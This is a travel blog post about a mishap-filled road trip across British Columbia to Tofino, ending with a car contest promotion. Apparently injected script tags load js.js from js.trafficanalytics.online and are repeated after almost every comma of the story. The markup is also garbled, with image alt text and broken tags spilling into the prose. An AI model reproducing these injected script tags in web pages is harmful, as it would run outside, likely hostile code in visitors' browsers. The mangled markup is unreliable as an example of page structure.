Blog

Road Raging to Tofino

by Tammy Burns

Road Trips Series

I once found the portal to hell in the backseat of a VW van.

It was the summer after I had graduated university, and I was on a camping road trip through British Columbia with my former dorm mates Alison and Joe. Together, the three of us were driving from the lush valleys and vineyards of Kelowna to the rugged peaks of Vancouver Island, with the simple goal of enjoying the mountain scenery while trying not to kill each other, which isn’t nearly as easy as it sounds.

On a disaster-filled road trip across British Columbia with two university friends, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Tammy Burns discovered that sometimes the worst travel adventures make the best memories. ” width=”630″ height=”418″ /></a>The first sign that our trip was cursed happened just west of the Okanagan Valley. Our van began to hiccup and shudder down the TransCanada, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> billowing smoke from places even I knew was bad news. Parts had to be shipped in overnight from Vancouver, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> so we were stranded in the town of Merritt until morning. Of course, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> we did what any road trippers without a car would do: hit up the local pub. One pitcher of Kokonee quickly turned to three, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and soon we no longer cared about the delay and the money the repairs would cost us.</p>
<p>The next morning, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> I was painfully hungover as we pulled back onto the highway. And I wasn’t the only one feeling off. Something had shifted in the night, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and Joe and Alison were no longer speaking. I tried to distract myself – and my flipping stomach – with the view outside my window: forested mountains towered over me, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> while steep cliffs dropped into green rolling hills of farmland.</p>
<blockquote><p>We realized too late that the gas gauge hadn’t moved since we had left Merritt – about the same time that the van started slowing along the highway.</p></blockquote>
<p>Joe and I were voted to hitchhike while Alison waited with the van. Thumbs out, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> sweating under the August sun, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> the remnants of too much beer still throbbing in my head, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> we teetered precariously on the side of a major highway as cars whipped past. When a transport truck finally stopped and chauffeured us to a gas station, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> I thought I might cry with relief.</p>
<p>We made it to Vancouver in time to meet another university friend for dinner and catch the evening ferry. Docked on the Island, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and desperate to find a campground before complete darkness fell, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> we stopped in Port Alberni for the night, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> mid-way between Nanaimo and Tofino.</p>
<blockquote><p>None of us were speaking, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and I had a restless sleep, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> dreaming of three of us wielding axes a la Jack Nicholson in <em>The Shining.</em></p></blockquote>
<p><em></em>But by morning, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> the nightmares felt a long way off as I opened my eyes to where we had set up camp. Rays of morning sun hit the nearby lake, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> covering it in silver flecks. Trees the size of office buildings towered above us. The air smelled sweet with wet moss and damp earth, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and the chirping of birds drowned out the previous day’s harsh silence. By the time we reached Long Beach later that afternoon, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> we were already two days behind schedule, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> but no matter. As the distance to our destination shrank, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> so too did the tension inside the van.<br />
<script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script><img class=On a disaster-filled road trip across British Columbia with two university friends, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Tammy Burns discovered that sometimes the worst travel adventures make the best memories. ” width=”630″ height=”418″ /></a>We settled into a campground on Mackenzie Beach and wandered down to the water’s edge. Joe spotted a long piece of seaweed lying on the sand, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> scooped it up and, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> as if it were a lasso, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> began to swing it around his head, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> spraying salt water all over us. We followed suit, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> whipping strands of seaweed in a frenzy before finally dropping them and making a mad dash for the ocean. The water was freezing despite the summer sunshine, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> but we were warm with laughter despite – or perhaps because of – all it took us to get there.</p>
<h4><a href=Explore Canada all week long in an end-of-summer salute to the ultimate holiday destination: home.

 

WIN YOUR ULTIMATE ROAD TRIP WITH THE ALL NEW 2013 FORD ESCAPE!